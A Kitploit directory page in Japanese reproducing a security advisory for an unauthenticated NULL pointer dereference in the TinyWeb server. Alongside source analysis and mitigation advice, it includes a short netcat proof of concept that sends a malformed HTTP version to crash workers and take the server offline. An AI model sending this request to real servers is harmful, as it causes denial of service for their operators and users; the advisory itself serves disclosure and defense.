Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb- — セキュリティアドバイザリ: 未認証のNULLポインタ参照がサーバをクラッシュさせる (TinyWeb) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-67184-unauthenticated-null-pointer-dereference-crashes-the-server-tinyweb-
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubtheopaid/cve-2026-67184-unauthenticated-null-pointer-dereference-crashes-the-server-tinyweb-

CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb-

セキュリティアドバイザリ: 未認証のNULLポインタ参照がサーバをクラッシュさせる (TinyWeb)

リポジトリを見る
51ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セキュリティアドバイザリ: 未認証の NULL ポインタ参照がサーバをクラッシュさせる (TinyWeb)

割り当て済み CVE ID: CVE-2026-67184

概要

TinyWeb がリクエストラインのパースに失敗すると、エラーを返しますが、リクエストの URL ポインタを NULL に設定したままにします。呼び出し元はエラーを無視してリクエストをレスポンスビルダーに渡すため、ビルダーがその NULL ポインタを参照してワーカーがクラッシュします。少数の不正なリクエストでサーバ全体がダウンし、復旧しません。

影響を受けるソフトウェア

  • Project: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
  • ビルドが報告するバージョン: TnyWeb/0.0.8
  • 影響を受けるコミット: e48f15d (2018-11-20)、このパーサーとレスポンスパスが導入されたコミットから、a381da2 (2023-11-22、master の最新) まで。
  • 修正版: なし。

分類

  • CWE-476: NULL ポインタ参照
  • CVSS 4.0 基本値: 8.7 (高)
  • ベクター: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

脅威モデル

サーバの待受 TCP ポート (同梱設定では 9090) に到達できる認証されていないリモート攻撃者。資格情報やユーザーの操作は必要ありません。

技術的詳細

HttpParser::execute() は、リクエストラインのパースが成功した後でのみ URL オブジェクトを割り当てます。不正な HTTP バージョンがあるとバージョンチェックに失敗し、error ラベルにジャンプします。そのため、割り当てが実行される前に -1 が返されます:

root@kitploit:~
// src/tiny_http/http_parser.cc:1401  (the "H" of "HTTP" is expected here)
checkOrGoError((ch == 'H'));         // false -> goto error

// src/tiny_http/http_parser.cc:1692  (skipped by the goto above)
request->url = new Url;

// src/tiny_http/http_parser.cc:1750-1753
error:
    LOG(Debug) << "http request content is invalid\n";
    return -1;

HttpRequest は std::make_shared<HttpRequest>() で作成され、値初期化されるため、割り当てがスキップされると url は NULL のままになります。

WebProtocol::dataReceived() は戻り値を記録しますが、関係なく buildResponse() を呼び出します:

root@kitploit:~
// src/tiny_http/http_protocol.cc:57-61
valid = m_nParser.execute(data.c_str(), begin, data.size(), m_pRequest.get());
valid_requ = (valid == -1) ? false : true;

// src/tiny_http/http_protocol.cc:75
m_nResponser.buildResponse(m_pRequest.get(), valid_requ, m_pResponse.get());

buildResponse() は valid_requ == false を受け取りますが、それをチェックせずに NULL の URL ポインタを参照します:

root@kitploit:~
// src/tiny_http/http_responser.cc:66
Url* url = req->url;              // NULL

// src/tiny_http/http_responser.cc:83
if (url->field_set & (1 << HTTP_UF_PATH)) {   // SIGSEGV

このアクセスでワーカープロセスがクラッシュします。ワーカーはサービス提供状態に再起動されないため、ワーカーがすべて落ちるとサーバは応答を停止します。

概念実証

  1. 同梱設定でサーバを起動します (ポート 9090 で待ち受け)。

  2. 通常のリクエストに応答することを確認します:

root@kitploit:~
curl http://TARGET:9090/
  1. バージョントークンが不正なリクエストを送信します。XTTP/1.1 は、リクエストラインがすでにリクエストモードに移行した後にバージョンチェックに失敗します:
root@kitploit:~
printf 'GET / XTTP/1.1\r\n\r\n' | nc TARGET 9090
  1. 手順 3 を数回繰り返してワーカープールを枯渇させ、その後手順 2 の通常リクエストを再試行します。すべてのワーカーがクラッシュしているため、応答がなくタイムアウトします。

ワーカーに接続したデバッガは、NULL 参照によるクラッシュを示します:

root@kitploit:~
#0 HttpBuilder::buildResponse (valid_requ=false) at src/tiny_http/http_responser.cc:83
#1 WebProtocol::dataReceived (data="GET / XTTP/1.1\r\n...") at src/tiny_http/http_protocol.cc:75

影響

認証されていない攻撃者は、いくつかの短いリクエストでサーバのワーカーをクラッシュさせ、再送信によってサービスをオフラインにし続けることができます。これはサービス拒否 (DoS) です。

対策

dataReceived() で、valid_requ が false の場合、buildResponse() を呼び出さずにエラーレスポンスを構築して return します。buildResponse() では、req->url を使用する前に NULL かどうかをチェックします。パースが失敗し得る前に URL オブジェクトを割り当てることでも、この問題を解消できます。

ツールをダウンロード